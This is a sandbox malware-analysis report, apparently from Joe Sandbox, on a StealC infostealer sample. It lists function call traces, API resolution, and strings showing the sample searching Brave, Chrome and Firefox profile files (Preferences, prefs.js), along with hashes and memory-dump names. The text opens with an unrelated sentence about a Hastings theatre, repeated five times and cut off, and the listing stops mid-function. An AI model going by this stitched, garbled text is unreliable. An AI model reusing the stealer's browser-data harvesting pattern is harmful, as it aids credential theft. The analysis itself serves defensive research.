in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 4c902e54f6f0075681bdb896b24ae4771ce550515c9d5d4ae657b4c7b47f301c
Instruction ID: 716be6dab3716c74f1bfb9f9d05f6e3bf6e0ddd8d44709a64193c5e93166b2e7
Opcode Fuzzy Hash: 4c902e54f6f0075681bdb896b24ae4771ce550515c9d5d4ae657b4c7b47f301c
Instruction Fuzzy Hash: F341CC79640604EBC7149FE4EC9D95DBF73BB4AB0BF419080F92295190CAF39525DB31

Function 00649860 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00F63918), ref: 006498A1
GetProcAddress.KERNEL32(76210000,00F63AC8), ref: 006498BA
GetProcAddress.KERNEL32(76210000,00F63960), ref: 006498D2
GetProcAddress.KERNEL32(76210000,00F63A38), ref: 006498EA
GetProcAddress.KERNEL32(76210000,00F63930), ref: 00649903
GetProcAddress.KERNEL32(76210000,00F613F0), ref: 0064991B
GetProcAddress.KERNEL32(76210000,00F5AE98), ref: 00649933
GetProcAddress.KERNEL32(76210000,00F5AF98), ref: 0064994C
GetProcAddress.KERNEL32(76210000,00F63978), ref: 00649964
GetProcAddress.KERNEL32(76210000,00F63AE0), ref: 0064997C
GetProcAddress.KERNEL32(76210000,00F63A50), ref: 00649995
GetProcAddress.KERNEL32(76210000,00F63990), ref: 006499AD
GetProcAddress.KERNEL32(76210000,00F5AD58), ref: 006499C5
GetProcAddress.KERNEL32(76210000,00F639A8), ref: 006499DE
GetProcAddress.KERNEL32(76210000,00F63AF8), ref: 006499F6
GetProcAddress.KERNEL32(76210000,00F5AFB8), ref: 00649A0E
GetProcAddress.KERNEL32(76210000,00F63B70), ref: 00649A27
GetProcAddress.KERNEL32(76210000,00F63A98), ref: 00649A3F
GetProcAddress.KERNEL32(76210000,00F5ACD8), ref: 00649A57
GetProcAddress.KERNEL32(76210000,00F63B10), ref: 00649A70
GetProcAddress.KERNEL32(76210000,00F5AFD8), ref: 00649A88
LoadLibraryA.KERNEL32(00F638A0,?,00646A00), ref: 00649A9A
LoadLibraryA.KERNEL32(00F63BB8,?,00646A00), ref: 00649AAB
LoadLibraryA.KERNEL32(00F63BD0,?,00646A00), ref: 00649ABD
LoadLibraryA.KERNEL32(00F63BE8,?,00646A00), ref: 00649ACF
LoadLibraryA.KERNEL32(00F63C00,?,00646A00), ref: 00649AE0
GetProcAddress.KERNEL32(75B30000,00F63BA0), ref: 00649B02
GetProcAddress.KERNEL32(751E0000,00F63C18), ref: 00649B23
GetProcAddress.KERNEL32(751E0000,00F63C30), ref: 00649B3B
GetProcAddress.KERNEL32(76910000,00F63C48), ref: 00649B5D
GetProcAddress.KERNEL32(75670000,00F5AFF8), ref: 00649B7E
GetProcAddress.KERNEL32(77310000,00F61400), ref: 00649B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00649BB6

Strings

Fs, xrefs: 00649B41
NtQueryInformationProcess, xrefs: 00649BAA

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: 2c23c61fc6acc747dc8c45642a279fd177d22a83eb188ad24829d101bd85b7be
Instruction ID: f96f7633abefbb04c5a01fd70d58a0d7d0ad93b319306f6a3c5f77c4ec750d29
Opcode Fuzzy Hash: 2c23c61fc6acc747dc8c45642a279fd177d22a83eb188ad24829d101bd85b7be
Instruction Fuzzy Hash: 3CA136B55142049FD34CEFA8ED8DA6A3BF9F7C8345704452AA65D8227CD639D8C2CB23

Function 0063BE70 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00650B32,00650B2B,00000000,?,?,?,006513F4,00650B2A), ref: 0063BEF5
StrCmpCA.SHLWAPI(?,006513F8), ref: 0063BF4D
StrCmpCA.SHLWAPI(?,006513FC), ref: 0063BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0063C7BF
FindClose.KERNEL32(000000FF), ref: 0063C7D1

Strings

P2#v, xrefs: 0063C7BF
\Brave\Preferences, xrefs: 0063C1DB
1#v, xrefs: 0063BEF5
Google Chrome, xrefs: 0063C634
Preferences, xrefs: 0063C11E
Brave, xrefs: 0063C102

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-1392536997
Opcode ID: 41fe3275d45d47f90316ef44be070cb3e5333868dd836432f7e513f7e223f27d
Instruction ID: 87214b060832845820235d87b0157055c42cece1062475e5868ae954a3f085c9
Opcode Fuzzy Hash: 41fe3275d45d47f90316ef44be070cb3e5333868dd836432f7e513f7e223f27d
Instruction Fuzzy Hash: D3427372950104BBEB54FBB0DC96EED737EAF94300F40455CB90AA6181EE349B49CBA6

Function 00644910 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0064492C
FindFirstFileA.KERNEL32(?,?), ref: 00644943
StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
FindClose.KERNEL32(000000FF), ref: 00644B92

Strings

%s\*, xrefs: 00644920
P2#v, xrefs: 00644B7D
1#v, xrefs: 00644943
%s\%s, xrefs: 006449A4
%s\%s, xrefs: 006449FB

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$P2#v$1#v
API String ID: 180737720-322404123
Opcode ID: 74d98222e0de07df208de9b8ea52617e26c9b765051c8f4d73dc5319df595a80
Instruction ID: 627aeec43b6d1ed737be0b25d8d8db195d0e5e7780e0c86160ac0ab2d4de9f5a
Opcode Fuzzy Hash: 74d98222e0de07df208de9b8ea52617e26c9b765051c8f4d73dc5319df595a80
Instruction Fuzzy Hash: C56143B2900218ABDB24EBA0DC49FEE737DBB98701F044598B50D96145EF71DB89CF92

Function 6C5235A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AF688,00001000), ref: 6C5235D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5235E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5235FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C52363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C52369F
__aulldiv.LIBCMT ref: 6C5236E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C523773
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C52377E
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C5237BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5237C4
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C5237CB
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C523801
__aulldiv.LIBCMT ref: 6C523883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C523902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C523918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C52394C

Strings

GTC, xrefs: 6C523912
AuthcAMDenti, xrefs: 6C523946
GenuntelineI, xrefs: 6C523639
QPC, xrefs: 6C5238FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5235DB

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 572ef6067f75c768884641142358685bee7776925b46aeedf38f0ac4527611f2
Instruction ID: 61c37118bbef34921407963d9fdd67ea426a60a2c9c448c97fbade49573986b9
Opcode Fuzzy Hash: 572ef6067f75c768884641142358685bee7776925b46aeedf38f0ac4527611f2
Instruction Fuzzy Hash: E9B1E471B043109FDB08DF6AEC4461E7BF9FB8A700F068A2EE499D77A0D77498018B95

Function 00643EA0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00643EC3
FindFirstFileA.KERNEL32(?,?), ref: 00643EDA
StrCmpCA.SHLWAPI(?,00650FAC), ref: 00643F08
StrCmpCA.SHLWAPI(?,00650FB0), ref: 00643F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0064406C
FindClose.KERNEL32(000000FF), ref: 00644081

Strings

P2#v, xrefs: 0064406C
%s\%s, xrefs: 00643EB7
1#v, xrefs: 00643EDA

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 180737720-1025293131
Opcode ID: bb64304d4be5ef4fbaa8d55297e3cd22a0eaa3ce57bcc75ee39ad0c4a52e7290
Instruction ID: 1842ab588d280aa4296f04f47853f410b46541e4d88a9cc949c468daedc8b518
Opcode Fuzzy Hash: bb64304d4be5ef4fbaa8d55297e3cd22a0eaa3ce57bcc75ee39ad0c4a52e7290
Instruction Fuzzy Hash: 1D5165B2900218ABCB24FBB0DC89EEE737DBB84300F04459CB65D96144DB75DB898F95

Function 0063F6B0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006515B8,00650D96), ref: 0063F71E
StrCmpCA.SHLWAPI(?,006515BC), ref: 0063F76F
StrCmpCA.SHLWAPI(?,006515C0), ref: 0063F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0063FAB1
FindClose.KERNEL32(000000FF), ref: 0063FAC3

Strings

P2#v, xrefs: 0063FAB1
1#v, xrefs: 0063F71E
prefs.js, xrefs: 0063F812

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 3334442632-2885088814
Opcode ID: e430048fd29234367174996d87c01e12ccb5b0db52134866e06c45c84d985c72
Instruction ID: 9703b0b2b453680bc236acb9f17aefbcd69473201947a1f447797d1621d3fc90
Opcode Fuzzy Hash: e430048fd29234367174996d87c01e12ccb5b0db52134866e06c45c84d985c72
Instruction Fuzzy Hash: E5B13571940108AFDB64FFA0DC56BEE737AAF95300F4085ACA40A96191EF309B49CF96

Function 0063DA80 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006514B0,00650C2A), ref: 0063DAEB
StrCmpCA.SHLWAPI(?,006514B4), ref: 0063DB33
StrCmpCA.SHLWAPI(?,006514B8), ref: 0063DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0063DDCC
FindClose.KERNEL32(000000FF), ref: 0063DDDE

Strings

P2#v, xrefs: 0063DDCC
1#v, xrefs: 0063DAEB

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: 0580769774445613fc76f567951d220bdf4fc96274942936decc28e2326d07ac
Instruction ID: 64baf465ba31d846a4b7aa91f9796b483608312ec28b5c2d419c8b71e84d8ac0
Opcode Fuzzy Hash: 0580769774445613fc76f567951d220bdf4fc96274942936decc28e2326d07ac
Instruction Fuzzy Hash: B49150B6900104ABDB54FBB0EC569ED737FAF85300F41866CF80A96181EE34DB498BD6

Function 006316D0 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00655124,?,00631F2C,?,006551CC,?,?,00000000,?,00000000), ref: 00631923
